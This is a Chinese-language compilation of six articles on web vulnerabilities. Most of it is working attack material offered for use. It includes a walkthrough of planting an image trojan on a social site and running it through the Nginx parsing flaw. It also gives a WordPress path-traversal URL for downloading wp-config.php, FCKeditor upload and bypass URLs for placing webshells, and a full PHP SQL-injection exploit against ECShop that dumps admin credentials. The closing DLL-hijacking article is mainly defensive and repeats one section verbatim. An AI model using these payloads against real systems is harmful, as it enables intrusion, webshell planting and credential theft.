Nginx解析漏洞原理及其利用方法漏洞预警
“犹怜草木青”通过精心收集,向本站投稿了6篇Nginx解析漏洞原理及其利用方法漏洞预警,下面是小编收集整理后的Nginx解析漏洞原理及其利用方法漏洞预警,仅供参考,希望能够帮助到大家。
篇1:Nginx解析漏洞原理及其利用方法漏洞预警
Nginx解析漏洞已经是比较老的漏洞了,但是互联网上还有不少使用存在解析漏洞的nginx版本,
很久没写文章了,睡觉去去法客转了圈看到一片nginx漏洞的渗透文章,才发现自己似乎也没写过。
于是乎~~~
nginx解析漏洞是由于nginx部分版本程序本身的漏洞导致解析非可以执行脚本程序如PHP.
如下面两个假设在存在漏洞的站点上有一张图片url地址为:
1www.myhack58.com/logo.jpg //假设存在这个图片
2
31
4
5而当我们正常访问,nginx会把这个当作非脚本语言直接读取传送会客户端(也就是浏览器),但是
6
7存在解析漏洞的nginx会把如下连接解析并且执行~:
8
91
10
11www.creturn.com/logo.jpg/a.php //(老的解析方式)这样写的话nginx会把logo.jpg当作脚本解析执行后再输出
12
13www.creturn.com/logo.jpg%00.php //这个是7月中旬爆出的解析漏洞
这样的解析漏洞有什么危害?其实很多站的安全或者程序样做的比较严谨的话,就没办法直接拿下,但是很多社交类
或者交互类的站点上往往允许用户上传图片,如社交网站一般都会允许上传头像~这样如果有心人传送一个图马上去
就可以直接解析了,
好了,就拿一个实例来说明:
某交友网站:
看到这么多图片,嘿嘿~~~肯定有上传的地方。先注册个帐号。刚注册完就提示你上传照片。
上传一张事先准备好的图马。博客内有制作方法,可查询。
看到图片,还需要审核~~
右击图片审查元素(我用的是chrome浏览器):
可以看到图片的连接,不过不要高兴~~ 看到名称middle.jpg了没,如果你是程序员的话,你应该知道
为了减少服务器压力,图片资源也会被进行处理某些区域显示的只是缩略图,缩略图是经过处理的所以
图马是不起作用的。所以必须找原图,其实原图的真实地址就是把.middle去掉,为啥?因为原图肯定会
保存的,由于我的图片在审核(当然我的头像肯定通过不了审核了),如果审核通过可以点击查看大图
一般这个大图就是你的原图(理论上)。
好了上菜刀看看连接地址为:
1www.creturn.com/upload/picture/photo/006/65/26/503d136ee3aaf.jpg/.php
如下图,图片已经成功解析为可执行脚本:
稍微浏览了下,权限很松~~~
好了,还是希望各大站长能够对安全重视~
篇2:WordPresswpFileManagerFileDownload漏洞利用方法漏洞预警
漏洞详解:packetstormsecurity.com/files/121637/WordPress-wp-FileManager-File-Download.html
查找漏洞网站:访问/wp-content/plugins/wp-filemanager/incl/libfile.php?&path=../../&filename=wp-config.php&action=download,下载wp-config,其中回显MySQL,
WordPresswpFileManagerFileDownload漏洞利用方法漏洞预警
,
篇3:fckeditor漏洞利用漏洞预警
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp
可以自定义文件夹名称上传图片木马,利用路径解析漏洞,也可以直接上传ASP木马,
fckeditor漏洞利用漏洞预警
,
如果是ASPX的就将/asp/connector.asp后缀改为ASPX
Type=Image这个变量是我们自己定义的。比如:
fckeditor/editor/filemanager/browser/default/browser.html?Type=xiaosei&Connector=connectors/asp/connector.asp
篇4:FCKeditor漏洞利用总结漏洞预警
Fckeditor漏洞利用总结
查看编辑器版本
FCKeditor/_whatsnew.html
—————————————————————————————————————————————————————————————
2. Version 2.2 版本
Apache+linux 环境下在上传文件后面加个.突破!测试通过,
—————————————————————————————————————————————————————————————
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
action=“www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media” method=“post”>Upload a new file:
—————————————————————————————————————————————————————————————
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
4.1:提交shell.php+空格绕过
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
—————————————————————————————————————————————————————————————
5. 突破建立文件夹
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
—————————————————————————————————————————————————————————————
6. FCKeditor 中test 文件的上传地址
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
—————————————————————————————————————————————————————————————
7.常用上传地址
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
JSP 版:
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址,
—————————————————————————————————————————————————————————————
8.其他上传地址
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
一般很多站点都已删除_samples 目录,可以试试。
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
—————————————————————————————————————————————————————————————
9.列目录漏洞也可助找上传地址
Version 2.4.1 测试通过
修改CurrentFolder 参数使用 ../../来进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
根据返回的XML 信息可以查看网站所有的目录。
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
也可以直接浏览盘符:
JSP 版本:
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
—————————————————————————————————————————————————————————————
10.爆路径漏洞
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
—————————————————————————————————————————————————————————————
11. FCKeditor 被动限制策略所导致的过滤不严问题
影响版本: FCKeditor x.x <= FCKeditor v2.4.3
脆弱描述:
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
而在apache 下,因为“Apache 文件名解析缺陷漏洞”也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
篇5:ECShop2.5.x&2.6.x 注射漏洞利用漏洞预警
ECShop2.5.x&2.6.x goods_script.php 没有初始化SQL,导致注射漏洞
影响2.5.x和2.6.x,其他版本未测试
goods_script.php44行:injection / admin credentials disclosure exploit
if (emptyempty($_GET['type'])) { ... } elseif ($_GET['type'] == 'collection') { ... } $sql .= “ LIMIT ” . (!emptyempty($_GET['goods_num']) ? intval($_GET['goods_num']) : 10); $res = $db->query($sql);
$sql没有初始化,很明显的一个漏洞:)
EXP:
#!/usr/bin/php <= v2.6.2 SQL by puret_t mail: cnhackerx at 163 dot com team:hi.baidu.com/5427518dork: “Powered by ECShop” +---------------------------------------------------------------------------+ '); /** * works with register_globals = On */ if ($argc < 3) { print_r(' +---------------------------------------------------------------------------+ Usage: php '.$argv[0].' host path host: target server (ip/hostname) path: path to ecshop Example: php '.$argv[0].' localhost /ecshop/ +---------------------------------------------------------------------------+ '); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $resp = send; preg_match('#href=“([\S]+):([a-z0-9]{32})”#', $resp, $hash); if ($hash) exit(“Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n”); else exit(“Exploit Failed!\n”); function send() { global $host, $path; $cmd = 'sql=SELECT CONCAT(user_name,0x3a,password) as goods_id FROM ecs_admin_user WHERE action_list=0x'.bin2hex('all').' LIMIT 1#'; $data = “POST ”.$path.“goods_script.php?type=”.time().“ HTTP/1.1\r\n”; $data .= “Accept: */*\r\n”; $data .= “Accept-Language: zh-cn\r\n”; $data .= “Content-Type: application/x-www-form-urlencoded\r\n”; $data .= “User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n”; $data .= “Host: $host\r\n”; $data .= “Content-Length: ”.strlen($cmd).“\r\n”; $data .= “Connection: Close\r\n\r\n”; $data .= $cmd; $fp = fsockopen($host, 80); fputs($fp, $data); $resp = ''; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); return $resp; } ?>
发布日期:-07.19
发布作者:Ryat 影响版本:ECShop2.5.x&2.6.x
官方地址:www.ecshop.com
篇6:DLL劫持漏洞解析漏洞预警
手中的全新武器
艾瑞2012年初发布的中国2011年下半年个人网络安全报告中,包含这么一个数据:2011年下半年十大热点木马中,其中5个是利用DLL劫持漏洞来对系统进行破坏的,DLL劫持漏洞到底是何方神圣,竟然占领了木马技术的半壁江山?
图1 艾瑞安全报告中利用DLL劫持技术的热门木马截图
DLL(Dynamic Link Library),全称动态链接库,是Windows系统上程序正常运行必不可少的功能模块,是实现代码重用的具体形式。简单的说,可以把DLL理解成帮助程序完成各种功能的组件。
DLL劫持漏洞(DLL Hijacking Exploit),这个名字缘起微软在2010年8月23日发布的2269637号安全公告。这个漏洞是通过一些手段来劫持或者替换正常的DLL,欺骗正常程序加载预先准备好的恶意DLL的一类漏洞的统称。利用DLL劫持漏洞,病毒木马可以随着文档的打开(或者其他一些程序正常行为)而激活自身,进而获得系统的控制权。
我们来看看DLL劫持漏洞到底是何方神圣。
高危害利用形式的爆发
DLL劫持漏洞伴随着Windows而存在,但是一直并未得到大家的足够重视。
直到2010年8月份,有 在安全论坛上公布了一种危害极高的DLL劫持漏洞的利用形式,迅速引起强烈的反应。随后,著名安全组织exploit-db公布了一系列存在DLL劫持漏洞的软件列表,其中可以发现大家十分熟悉的应用软件,包括:AutoCAD 2007、Daemon Tools、Winamp、Media Player Classic、Mozilla Thunderbird、Microsoft Office、Adobe Photoshop、Adobe Dreamweaver CS5、Skype、Snagit10、Safari、WinDVD、Opera、Firefox等等。
图2 PCHOME针对DLL劫持漏洞的新闻截图
简单的讲,安装了上述软件的电脑,当用户在打开一个图片、音乐、视频、BT种子、网页文件都有可能感染病毒。当攻击者利用DLL劫持漏洞构造一个特殊的DLL文件,将这个DLL文件和一些JPG、PPT、MP3、MPG、HTML文件共同打包,用户解压后双击打开这些文档,病毒即被立即触发。也就是说,不需要其他漏洞,不需要可执行文件,只需要鼠标双击打开别人发给你的音乐、视频或者图片文件,就可能感染病毒!难怪国外安全公司authentium在官方博客中描述DLL劫持漏洞时,甚至用“The world is going to end!”做标题。
不过此次**,随着网民们的关注和各个产品漏洞的逐步修复,逐渐平息下去。
演变和进化
DLL劫持漏洞的生命力绝不仅限于打开文件这种触发这种形式。通过这种形式的启发, 们逐渐找到了DLL劫持漏洞的更大活力。二年之后的今天,当我们再看这个漏洞时,它已摇身一变更具威胁了。
了解客户端安全的同学应该都知道,现在的安全软件大都会采取白名单机制,把一些大公司的程序放在安全软件的白名单中,白名单中的程序不会进行监控并默认信任,以减少误报率。
都说安全性和易用性是相悖的。白名单这个特性是使安全软件和受信任程序的使用都方便了不少,但是,同时也更加方便了广大 。我们都知道,软件工作时都需要这样那样的DLL功能组件,那么在安全软件白名单信任策略支持下,即使“安全软件”要加载的DLL是被替换掉的恶意DLL,安全软件都会被认为是合法、正常的行为。因此, 们就开始利用各大公司软件中存在的DLL劫持漏洞,堂而皇之的在安全软件眼皮底下加载早已准备好的恶意代码,入侵用户的计算机。至此,更具“劫持”特性的广义DLL劫持漏洞正式诞生。
本文开头艾瑞报告中提到的那5个DLL劫持木马,都属于这种漏洞形式。是的,你没有听错,就是它,占领木马激活技术的半壁江山。由于效果极好,是 们杀人放火,打家劫舍的必备大杀伤性武器。
刨根到底看原理
DLL劫持漏洞之所以被称为漏洞,还要从负责加载DLL的系统API LoadLibrary来看。熟悉Windows代码的同学都知道,调用LoadLibrary时可以使用DLL的相对路径。这时,系统会按照特定的顺序搜索一些目录,以确定DLL的完整路径。根据MSDN文档的约定,在使用相对路径调用LoadLibrary(同样适用于其他同类DLL LoadLibraryEx,ShellExecuteEx等)时,系统会依次从以下6个位置去查找所需要的DLL文件(会根据SafeDllSearchMode配置而稍有不同)。
1. 程序所在目录;
2. 系统目录;
3. 16位系统目录;
4. Windows目录;
5. 当前目录;
6. PATH环境变量中的各个目录。
而所谓的劫持的,就发生在系统按照顺序搜索这些特定目录时,
只要 能够将恶意的DLL放在优先于正常DLL所在的目录,就能够欺骗系统优先加载恶意DLL,来实现“劫持”。
微软的“设计缺陷”?
从上面的原理来看,LoadLibrary API并不会去检查即将要加载进来的DLL是好人还是坏人,不管是李逵还是李鬼都有酒喝、有肉吃。这点我们能理解,毕竟判断DLL是好是坏不是系统的事情,而是安全软件的事情。
同时,当使用相对路径调用这个API加载DLL时,就会触发上一节所述的神奇的动态链接库搜索逻辑。由于系统搜索的位置非常多,而且其中的许多位置都能轻易被 劫持和控制,给了DLL劫持漏洞很大的利用空间。
但是,微软认为以上这些属于系统特性,不属于安全漏洞而不做修改,微软官方的介绍及安全建议请参考这里:Dynamic-Link Library Search Order,Dynamic-Link Library Security。
比较有意思的是,从Windows 7的KB2533623补丁开始,微软给我们带来了三个解决DLL劫持问题的新API:SetDefaultDllDirectories,AddDllDirectory,RemoveDllDirectory。这几个API配合使用,可以有效的规避DLL劫持问题。可惜的是,这些API只能在打了KB2533623补丁的Windows7,2008上使用。
刨根到底看原理
DLL劫持漏洞之所以被称为漏洞,还要从负责加载DLL的系统API LoadLibrary来看。熟悉Windows代码的同学都知道,调用LoadLibrary时可以使用DLL的相对路径。这时,系统会按照特定的顺序搜索一些目录,以确定DLL的完整路径。根据MSDN文档的约定,在使用相对路径调用LoadLibrary(同样适用于其他同类DLL LoadLibraryEx,ShellExecuteEx等)时,系统会依次从以下6个位置去查找所需要的DLL文件(会根据SafeDllSearchMode配置而稍有不同)。
1. 程序所在目录;
2. 系统目录;
3. 16位系统目录;
4. Windows目录;
5. 当前目录;
6. PATH环境变量中的各个目录。
而所谓的劫持的,就发生在系统按照顺序搜索这些特定目录时。只要 能够将恶意的DLL放在优先于正常DLL所在的目录,就能够欺骗系统优先加载恶意DLL,来实现“劫持”。
微软的“设计缺陷”?
从上面的原理来看,LoadLibrary API并不会去检查即将要加载进来的DLL是好人还是坏人,不管是李逵还是李鬼都有酒喝、有肉吃。这点我们能理解,毕竟判断DLL是好是坏不是系统的事情,而是安全软件的事情。
同时,当使用相对路径调用这个API加载DLL时,就会触发上一节所述的神奇的动态链接库搜索逻辑。由于系统搜索的位置非常多,而且其中的许多位置都能轻易被 劫持和控制,给了DLL劫持漏洞很大的利用空间。
但是,微软认为以上这些属于系统特性,不属于安全漏洞而不做修改,微软官方的介绍及安全建议请参考这里:Dynamic-Link Library Search Order,Dynamic-Link Library Security。
比较有意思的是,从Windows 7的KB2533623补丁开始,微软给我们带来了三个解决DLL劫持问题的新API:SetDefaultDllDirectories,AddDllDirectory,RemoveDllDirectory。这几个API配合使用,可以有效的规避DLL劫持问题。可惜的是,这些API只能在打了KB2533623补丁的Windows7,2008上使用。
DLL加载安全之道
首先,对于会打开图片、音乐等各种类型文件的程序,分为以下三种情况处理:
A. 对于外部第三方DLL和自己的DLL:
1. 使用LoadLibrary API加载DLL时使用绝对路径,类似的情况还包括其他API如LoadLibraryEx, CreateProcess, ShellExecute等;
2. 将所有需要使用到的DLL放在应用程序所在的目录,不放到系统目录或者其他目录。
B. 对于系统共享的DLL(如user32.dll, mfc80loc.dll等),不能放到程序目录下时,应该:
1. 使用绝对路径加载;
2. 对于无法准确预测绝对路径的情况,可以使用相对路径加载。
C. 程序启动时调用API SetDllDirectory(L“”)将当前目录从DLL加载顺序中移除.
其次,对于广义DLL劫持漏洞,我们只有一种有效的处理办法:加载任何DLL前先校验文件的签名,签名没有问题的才能加载。
检测方案
DLL劫持漏洞的检测比较简单,可以在虚拟环境将程序运行起来,对其中的DLL加载操作进行审计,找出加载顺序中可能被劫持的点;还可以为程序构建一个“劫持现场”(自己做一个劫持并转发给正常DLL的DLL文件看是否执行其中代码),并检查程序能否真正规避DLL劫持的威胁。
【Nginx解析漏洞原理及其利用方法漏洞预警】相关文章:






文档为doc格式